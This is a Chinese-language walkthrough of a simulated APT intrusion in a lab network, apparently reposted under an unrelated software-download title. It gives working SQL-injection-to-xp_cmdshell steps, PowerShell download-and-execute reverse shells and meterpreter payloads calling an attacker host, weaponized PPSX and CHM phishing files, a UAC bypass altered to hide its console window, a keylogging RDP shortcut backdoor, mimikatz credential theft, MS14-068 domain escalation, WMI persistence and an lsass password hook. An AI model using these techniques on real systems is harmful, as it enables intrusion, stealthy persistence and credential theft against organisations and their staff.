APT攻擊方式花樣繁多,我研究最近的流行的APT攻擊方式,在本地搭建環境模擬一次簡單的APT攻擊,在模擬攻擊過程中發現網上公布的poc都會有大大小的缺陷,大多數poc執行過程中都會彈出一閃而過的黑框框,我深入分析這些腳本,修改其中的代碼,使其執行的過程中消除那個一閃而過的黑框框,從而讓中招的不會輕易產生懷疑。我研究的目的是暴露這樣的攻擊過程,讓更多的人了解這樣的攻擊過程,從而能夠研究出更有效的防御方法。
內網的拓撲
拓撲說明:
【1】10.101.101.0/24的網段模擬的是外網的地址
【2】192.168.101.0/24的網段模擬的是一個小型企業的內網中的應用服務器網絡
【3】192.168.111.0/24的網段模擬的是一個小型企業的內網中的辦公網絡
【4】企業內網可以無限制的訪問到外網,但是外網無法訪問到企業內網
【5】辦公網可以無限制的訪問到應用服務器網絡,但是應用服務器網絡無法訪問到辦公網絡
【6】部分服務器打了全部的補丁,并且保持正常更新
日常掃描
發現此服務器開放80,82端口,是windows 2008系統 。在80端口發現有sql注入
首先看數據庫和數據庫所在的服務器版本:
http:/ /10.101.101.13/?page= 1and@@version> 0--
數據庫是2008r2的,數據庫所在的操作系統是win2008或者win7然后看數據庫:
http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--
這個語句測試數據庫的權限,發現有延時,證明是有數據庫的權限是dba的權限然后用:
EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;
打開xp_cmdshell的限制,下面創建一個臨時表:
https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --
執行ipconfig /all并將結果寫入新創建的臨時表中
https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --
讀取結果:
https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000))> 0--
看上去這個網站是站庫分離的網站。
然后用這種方法執行“ping 10.101.101.16”,發現數據庫服務器可以通外網,獲取這些信息之后,我用下面的指令刪除創建的臨時表
https://10.101.101.13/?page=1; droptabletemp; --
獲取到這么多信息了之后,在自己的機子上開一個web站點,下載nishang的powershell的反彈腳本到自己的web服務器上:https://github.com/samratashok/nishang ,先在自己的主機上用nc -lvvp 8888監聽8888端口,等待反彈連接 。
然后執行
http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--
我們可以看到執行成功
但是數據庫被降權,權限不高,現在我把ms15-051的exp上傳到自己的服務器,用powershell的遠程加載并執行exe的腳本。執行這個exp首先下載powershell的這個腳本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
然后執行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA
可以看到提權沒有成功,并且換一個exp也沒有成功
所以下面上msf繼續探測 先開啟msf的監聽功能
然后執行
http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
這樣就從數據庫主機上反彈一個meterpreter連接了。
先用
useauxiliary/scanner/smb/smb_version
掃描smb來獲取內網的信息
發現一個mail服務器,用
useauxiliary/scanner/portscan
掃描一下端口 ,發現開放了80端口,25,110端口
我用 use auxiliary/server/socks4a 代理進內網
在烏云鏡像里面沒有找到可以用的洞,但是在82端口發現了驚喜
通過弱口令輕松進入到后臺,發現一個可以生成靜態站的地方
把自定義靜態頁面存儲主路徑改成1.asp,然后編輯一篇文章,把木馬代碼放進去,重新生成靜態頁面就可以getshell了
這個服務器的82端口不能執行cmd,不支持aspx,不能跨目錄到umail,但是在一個奇怪的地方發現一個一份企業通訊錄,下載下來看到管理員郵箱
于是想到用偽造郵件的方法來釣管理員 首先參考兩個文章:
https://www.freebuf.com/vuls/144054.html
https://www.91ri.org/15506.html
>>>>
第一種方法
首先用CVE-2017-8570給的exp做一個釣魚用的ppsx 。由于原來的exp要用poershell下載一個shell.exe再執行,這樣容易被殺軟發現,并且原來的exp執行反彈回來的shell權限不夠,所以要考慮繞過uac,讓管理員點擊惡意的ppsx后靜默反彈一個高權限的shell。如果用nishang給的Invoke-PsUACme.ps1,執行之后會有一個一閃而過的黑框框,很讓人感到懷疑,去掉這個一閃而過的黑框框很簡單,因為我用oobe的方法在win7上繞過uac,所以我在這里只介紹在這種條件下去掉黑框框的方法。首先去掉Invoke-PsUACme.ps1中第206行的“& $execpath”這個代碼,之后在調用Invoke-PsUACme的時候-payload參數寫上你要執行的命令,最后用rundll32.exe靜默啟動C:/Windows/System32/oobe/setupsqm.exe
IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")
換掉原來exp里面的powershell調用語句 其中uacchm.ps1的內容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而其中enc后面的數據是經過下面的代碼編碼而成:
$command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
編碼的內容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
chm.ps1的內容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
改好的exp我放在了
https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
用法是:先生成一個惡意的ppsx
python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc
在82端口開啟服務
pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16
Ps: 好多時候這個漏洞復現不成功,可以將查看 文件 -> 選項,點擊 信任中心設置:
去掉這些勾就好
>>>>
第二種方法
這個比較簡單: 用easy chm做一個惡意的chm就好
其中我做的test.html放在了
https://github.com/niexinming/safe_tool/blob/master/test.html
Ps:由于PARAM的value的長度似乎有某種限制,所以我把
IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64
編碼之后放入PARAM的value中
兩個惡意的文件都制作好了,我現在用swaks偽造郵件把這兩個文檔發送出去
現在靜靜等待管理員點擊我們的惡意文件,啟動msf的exploit/multi/handler模塊時候用exploit -j就可以讓msf在后臺等待管理員上鉤了。 這個時候發現一個管理員中了我們的木馬
由于bypass了uac,所以返回的是管理員的shell,我們可以用mimikatz來把密碼脫出來看看
由于管理員的機子不屬于任何域,也不是域賬號登陸,所以,我需要獲取他的在遠程登陸其他機子的時候的用戶名和密碼,根據 《解析制作俄羅斯APT組織使用的快捷方式后門文件》這篇文件的介紹,我希望替換遠程桌面的快捷方式來監視管理員的行為。
思路是:
(1)正常啟動c:windowssystem32mstsc.exe,避免管理員懷疑 ;
(2)由于原來的exp一啟動就會有個黑框框一閃而過,要用rundll32的方式來消除黑框框,讓惡意代碼靜態啟動;
(3)參數部分要先加260個空格字符后面接著為payload代碼,這樣減小管理員查看屬性的時候看到payload而產生懷疑 ;
(4)參考 《滲透技巧——如何巧妙利用PSR監控Windows桌面》 這個文章靜默啟動一個桌面步驟記錄程序 ;
(5)利用PowerSploit的Get-Keystrokes.ps1的腳本來記錄鍵盤記錄
(6)記錄一分鐘后把記錄的文件隱藏起來
(7)啟動metasploit的反彈連接
(8)修改圖標(關于C:Windowssystem32SHELL32.dll的圖標id,有個網站給的很全面,可以修改傳遞給圖標id來修改圖標)
我把修改好的代碼放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,遠程加載的惡意的powershell代碼放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好惡意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事情了。
>>>>
使用方法
看著已經生成好了,看一下效果
看著比較正常,用起來也很正常,沒有卡頓,沒有一閃而過的黑框 。如果管理員用到遠程登陸快捷方式去遠程登陸服務器的話,在c:windowstemp目錄下會生成log.dll,這個里面記錄的是鍵盤記錄,cap.zip記錄的是關鍵步驟截屏
等管理員啟動的惡意的遠程登陸快捷方式之前,可以用管理員的密碼在應用服務器網段內用use auxiliary/scanner/smb/smb_login碰碰運氣
看上去運氣不佳啊
等了幾天,發現在這個目錄下有這個東西了
下載之后看到,鍵盤記錄:
下面是屏幕截圖記錄
這樣我就獲得了一個普通域賬號的賬戶名和密碼 。
下面試試MS14-068這個漏洞能不能成功,參考文章:
https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/用proxychain執行goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻擊
Ps: 攻擊的時候如果dns在內網要記得hosts的地址綁定
用得到的shell反彈一個poweshell出來到本地8888端口,如果你用下面的語句反彈的話將得到是一個32位的powershell:
powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888
這個時候你運行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
系統會報錯,原因是你不能在32位的shell中運行64位的程程序,這里涉及到一個64位系統文件重定向的問題,參考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。所以正確的做法是使用下面的代碼來反彈一個64位的powershell
C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888
這個時候你運行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat
你就會得到域控管理員的密碼下面我要在域控上面安裝一個隱蔽的后門,參考文章:
https://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
https://wooyun.jozxing.cc/static/drops/tips-15575.html
我利用三好學生的方法制作一個wmi的后門,首先: 在自己的web目錄下寫一個mof.ps1,這個文件作用是用利用wmi的定時器的功能讓系統每分鐘執行一次我們的payload,這個mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1。
我還寫了一個可以劫持進程的powershell腳本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,這里我用每分鐘執行payload的這個腳本,這里的我的payload我用一個反彈meterpreter連接的腳本,mof.txt里面的內容:
<?xml version="1.0"?>
<![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]>
enc編碼前的內容依然是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
執行之后,每分鐘會反彈一個meterpreter的shell,而且重啟后依然會反彈
Ps: 這個wmi的后門我在win10上實驗的時候,不能執行payload,如果觸發到后門的觸發條件的話,win10會彈出openwith.exe這個進程,界面上看就是這個
查了兩天資料也沒有找到一個正經的解決方法,但是后來把openwith.exe換成cmd.exe就可以執行payload了,因為win7和win2008沒有openwith,所以沒有遇到什么阻力就直接執行payload了,但是win10和win8在正常情況下就會打開openwith這個后門的清理方式,可以參考https://www.52pojie.cn/thread-607115-1-1.html
我還想放置一個后門,在域控管理員改密碼的時候記錄他的新密碼,參考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,注意他的腳本里面有一個選項可以從你的web服務器加載一個dll到對方主機內存里面,這樣你把你的dll生成好之后就可以放在你的web服務器下面,在這個ps1最下面加入
Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass
就可以了,然后你把這個腳本的調用加入到chm.ps1里面:下面是改動之后chm.ps1里面的內容:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
這樣就可以任何時候每隔一分鐘的時候可以一方面反彈一個meterpreter的連接,還可以在域管理員改密碼的時候記錄他的新密碼
本文介紹了web滲透,郵件釣魚,后門部署等奇技淫巧,尤其針對消除各種一閃而過的cmd彈窗給出了我自己的解決思路,如果有問題大家可以在評論區留言,我們共同探討。
(來源:亞信安全)
轉載請注明來自夕逆IT,本文標題:《【ipv6.exe官方下載】ipv6.exe官方版》

還沒有評論,來說兩句吧...